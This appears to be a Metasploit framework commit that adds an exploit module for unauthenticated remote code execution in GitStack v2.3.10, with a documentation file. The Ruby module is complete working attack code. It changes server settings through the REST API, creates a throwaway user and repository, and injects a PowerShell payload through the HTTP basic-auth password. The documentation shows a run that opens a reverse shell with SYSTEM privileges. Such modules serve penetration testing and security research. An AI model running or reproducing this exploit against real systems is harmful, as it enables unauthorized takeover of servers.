Add GitStack v2.3.10 RCE

GSoC/Meterpreter_Web_Console
Jacob Robles 2018-03-05 13:25:41 -06:00
parent 55a045eb76
commit a4f48eb80f
No known key found for this signature in database
GPG Key ID: 3EC9F18F2B12401C
2 changed files with 364 additions and 0 deletions

View File

@ -0,0 +1,61 @@
## Description
This module exploits an unauthenticated remote code execution vulnerability on GitStack v2.3.10. The module will send unauthenticated REST API requests to put the application in a vulnerable state, if needed, before sending a request to trigger the exploit. These configuration changes are undone before the module exits.
## Vulnerable Application
In vulnerable versions of GitStack, a flaw in `Authentication.class.php` allows [unauthenticated remote code execution](https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html) since `$_SERVER['PHP_AUTH_PW']` is passed directly to an `exec` function.
To exploit the vulnerability, the repository interface must be enabled, a repository must exist, and a user must have access to the repository.
Note: A passwd file should be created by GitStack for local user accounts. Default location: `C:\GitStack\data\passwdfile`.
## Verification Steps
- [ ] Install a vulnerable GitStack application
- [ ] `./msfconsole`
- [ ] `use exploit/windows/http/gitstack_rce`
- [ ] `set rhost <rhost>`
- [ ] `set verbose true`
- [ ] `run`
Note: You may have to run the exploit multiple times since the powershell that is generate has to be under a certain size.
## Scenarios
### GitStack v2.3.10 on Windows 7 SP1
```
msf5 > use exploit/windows/http/gitstack_rce
msf5 exploit(windows/http/gitstack_rce) > set rhost 172.22.222.122
rhost => 172.22.222.122
msf5 exploit(windows/http/gitstack_rce) > set verbose true
verbose => true
msf5 exploit(windows/http/gitstack_rce) > run
[*] Started reverse TCP handler on 172.22.222.131:4444
[*] Powershell command length: 6103
[-] Web interface is disabled
[-] No repositories found
[+] Web interface successfully enabled
[+] The repository has been successfully created
[+] Created user: ZROTE
[+] User ZROTE added to EsILm
[*] Sending stage (252483 bytes) to 172.22.222.122
[+] ZROTE removed from EsILm
[+] ZROTE has been deleted
[+] Web interface successfully disabled
[+] EsILm has been deleted
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-V438RLMESAE
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
meterpreter >
```

View File

@ -0,0 +1,303 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'GitStack v2.3.10 Unsanitized Argument',
'Description' => %q{
This module exploits a remote code execution vulnerability in
GitStack v2.3.10, caused by an unsanitized argument being passed
to an exec function call. Earlier version of GitStack may be
affected.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Kacper Szurek', # Vulnerability discovery and PoC
'Jacob Robles' # Metasploit module
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00"
},
'Targets' => [['Automatic', {}]],
'Privileged' => true,
'DisclosureDate' => 'Jan 15 2018',
'DefaultTarget' => 0))
register_options([Opt::RPORT(80)])
end
def check_web
begin
res = send_request_cgi({
'uri' => normalize_uri('/rest/settings/general/webinterface/'),
'method' => 'GET'
})
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
Rex::HostUnreachable, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
if res.body =~ /true/
vprint_good('Web interface is enabled')
return true
else
vprint_error('Web interface is disabled')
return false
end
else
print_error('Unable to determine status of web interface')
return nil
end
end
def check_repos
begin
res = send_request_cgi({
'uri' => '/rest/repository/',
'method' => 'GET',
})
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
Rex::HostUnreachable, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
begin
mylist = JSON.parse(res.body)
rescue JSON::ParserError => e
print_error("Failed: #{e.class} - #{e.message}")
return nil
end
unless mylist.length == 0
vprint_good('Repositories found')
return mylist
else
vprint_error('No repositories found')
return false
end
else
print_error('Unable to determine available repositories')
return nil
end
end
def update_web(web)
data = {'enabled' => web}
begin
res = send_request_cgi({
'uri' => '/rest/settings/general/webinterface/',
'method' => 'PUT',
'encode' => true,
'data' => data.to_json
})
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
Rex::HostUnreachable, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
vprint_good("#{res.body}")
end
end
def create_repo
repo = Rex::Text.rand_text_alpha(5)
c_token = Rex::Text.rand_text_alpha(5)
data = "name=#{repo}&csrfmiddlewaretoken=#{c_token}"
begin
res = send_request_cgi({
'uri' => '/rest/repository/',
'method' => 'POST',
'cookie' => "csrftoken=#{c_token}",
'data' => data
})
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
Rex::HostUnreachable, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
vprint_good("#{res.body}")
return repo
else
print_status('Unable to create repository')
return nil
end
end
def delete_repo(repo)
begin
res = send_request_cgi({
'uri' => "/rest/repository/#{repo}/",
'method' => 'DELETE'
})
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
Rex::HostUnreachable, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
vprint_good("#{res.body}")
else
print_status('Failed to delete repository')
end
end
def create_user
user = Rex::Text.rand_text_alpha(5)
pass = user
data = "username=#{user}&password=#{pass}"
begin
res = send_request_cgi({
'uri' => '/rest/user/',
'method' => 'POST',
'encode' => true,
'data' => data
})
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
Rex::HostUnreachable, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
vprint_good("Created user: #{user}")
return user
else
print_error("Failed to create user")
return nil
end
end
def delete_user(user)
begin
res = send_request_cgi({
'uri' => "/rest/user/#{user}/",
'method' => 'DELETE'
})
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
Rex::HostUnreachable, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
vprint_good("#{res.body}")
else
print_status('Delete user unsuccessful')
end
end
def mod_user(repo, user, method)
begin
res = send_request_cgi({
'uri' => "/rest/repository/#{repo}/user/#{user}/",
'method' => method
})
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
Rex::HostUnreachable, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
vprint_good("#{res.body}")
else
print_status('Unable to add/remove user from repo')
end
end
def repo_users(repo)
begin
res = send_request_cgi({
'uri' => normalize_uri("/rest/repository/#{repo}/user/"),
'method' => 'GET'
})
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
Rex::HostUnreachable, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
begin
users = JSON.parse(res.body)
users -= ['everyone']
rescue JSON::ParserError => e
print_error("Failed: #{e.class} - #{e.message}")
users = nil
end
else
return nil
end
return users
end
def run_exploit(repo, user, cmd)
begin
res = send_request_cgi({
'uri' => "/web/index.php?p=#{repo}.git&a=summary",
'method' => 'GET',
'authorization' => basic_auth(user, "#{Rex::Text.rand_text_alpha(1)} && cmd /c #{cmd}")
})
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
Rex::HostUnreachable, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
end
def exploit
command = cmd_psh_payload(
payload.encoded,
payload_instance.arch.first,
{ :remove_comspec => true, :encode_final_payload => true }
)
fail_with(Failure::PayloadFailed, "Payload is too big") if command.length > 6110
web = check_web
repos = check_repos
if web.nil? || repos.nil?
return
end
unless web
update_web(!web)
# Wait for interface
sleep 8
end
if repos
pwn_repo = repos[0]['name']
else
pwn_repo = create_repo
end
r_users = repo_users(pwn_repo)
unless r_users.nil? || r_users == []
pwn_user = r_users[0]
run_exploit(pwn_repo, pwn_user, command)
else
pwn_user = create_user
if pwn_user
mod_user(pwn_repo, pwn_user, 'POST')
run_exploit(pwn_repo, pwn_user, command)
mod_user(pwn_repo, pwn_user, 'DELETE')
delete_user(pwn_user)
end
end
unless web
update_web(web)
end
unless repos
delete_repo(pwn_repo)
end
end
end